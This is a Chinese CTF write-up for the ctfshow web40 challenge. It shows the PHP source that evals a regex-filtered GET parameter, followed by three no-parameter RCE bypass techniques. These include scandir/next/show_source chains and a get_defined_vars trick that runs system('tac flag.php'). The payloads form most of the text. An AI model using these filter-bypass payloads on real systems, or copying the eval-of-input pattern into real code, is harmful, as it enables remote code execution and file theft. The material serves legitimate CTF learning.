当前位置: 首页 > news >正文

ctfshow web40

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

方案一

1.先使用getcwd()函数查看当前工作目录

/?c=print_r(getcwd());

2.使用scandir()函数将工作目录以数组形式输出

?c=print_r(scandir(getcwd()));

发现有flag.php的目录

3.使用array_reverse()函数将数组翻转

?c=print_r(array_reverse(scandir(getcwd())));

4.使用next()函数将数组指针指向flag.php,再使用读取文件函数打印出flag.php的内容

读取文件内容:

  • file_get_contents()
  • readfile()
  • highlight_file()
  • show_source()

print_r(show_source(next(array_reverse(scandir(getcwd())))));

方案二

1.使用get_defined_vars()函数返回一个关联数组,包含所有当前作用域内已定义的变量,包括:

  • 用户定义的变量
  • 超全局变量(GET,G__ET,_POST 等)
  • 其他预定义变量

?c=print_r(get_defined_vars());

发现数组第一个变量c貌似就是我们输入的命令,但是这里是二维数组,并且我们要利用的恶意代码在二维数组的第一个,所以可以使用current()函数获取当前指针所对应的一维数组

/?c=print_r(current(get_defined_vars()));

但是这个GET数组里面貌似没有元素含有恶意代码(奇怪了,平时写其他无参数rce都有的),那么这里我们就可以自己写一个进去,

/?c=print_r(next(current(get_defined_vars())));&1=system("tac flag.php");

特别提醒

必须先写出&1=system("tac flag.php");才能print_r(next(current(get_defined_vars())));,不然就会报以下错误

**<font style="color:rgb(0, 0, 0);">Notice</font>**<font style="color:rgb(0, 0, 0);">: Only variables should be passed by reference in </font>**<font style="color:rgb(0, 0, 0);">/var/www/html/index.php(17) : eval()'d code</font>**<font style="color:rgb(0, 0, 0);"> on line </font>**<font style="color:rgb(0, 0, 0);">1</font>**

/?c=print_r(next(current(get_defined_vars())));&1=system("tac flag.php");

接下来直接执行上面恶意代码即可

/?c=eval(next(current(get_defined_vars())));&1=system("tac%20flag.php");

方案三

?c=print_r(scandir(current(localeconv())));

数组翻转再指针向前一次

?c=print_r(next(array_reverse(scandir(current(localeconv())))));

?c=show_source(print_r(next(array_reverse(scandir(current(localeconv()))))));
就可以得到flag了(什么,你说你想看flag,门都没有)

http://www.jsqmd.com/news/29/

相关文章:

  • C++ 左值、右值、左值引用、右值引用
  • Spring Cloud Gateway WebFlux现cvss10分高危漏洞,可导致环境属性篡改 - 详解
  • 基数排序模板(Radix Sort)
  • ctfshow web32
  • [项目开发经验分享]基于强类型事件的类型参数传递问题 —— 在 .NET Winform项目中如何设计泛型事件总线以实现UI与核心层的解耦
  • 从Verizon数据泄露报告看企业安全防御的迫切变革
  • 行程长度编码
  • mysql 虚拟列,可以简化 SQL 逻辑、提升查询效率
  • Flash Attention算法动画
  • 【技术实现】7天极速搭建体育比分网站 - 世界杯期间流量红利抓取实战
  • PointNetwork-求解TSP-05 - jack
  • 多站点的TSP问题求解-06 - jack
  • Windows 11如何进入安全模式
  • C# CAN通信上位机系统设计与实现
  • 进程池VS线程池
  • 聊聊昨天CodeBuddy Meetup的一些收获与思考
  • 框架的诞生,本就是人类文明共同涌现的结晶,绝不是某个人的独自觉悟
  • python+Django开发笔记(结合禅道开发测试报告)
  • MVC分层设计模式 2章
  • Questions about learning Symfony
  • 【Python】cx_Freeze模块_打包exe
  • ctfshow web22(子域名爆破)
  • PLC中的运动控制 - (一)轴
  • ctfshow web23(代码审计编写脚本爆破)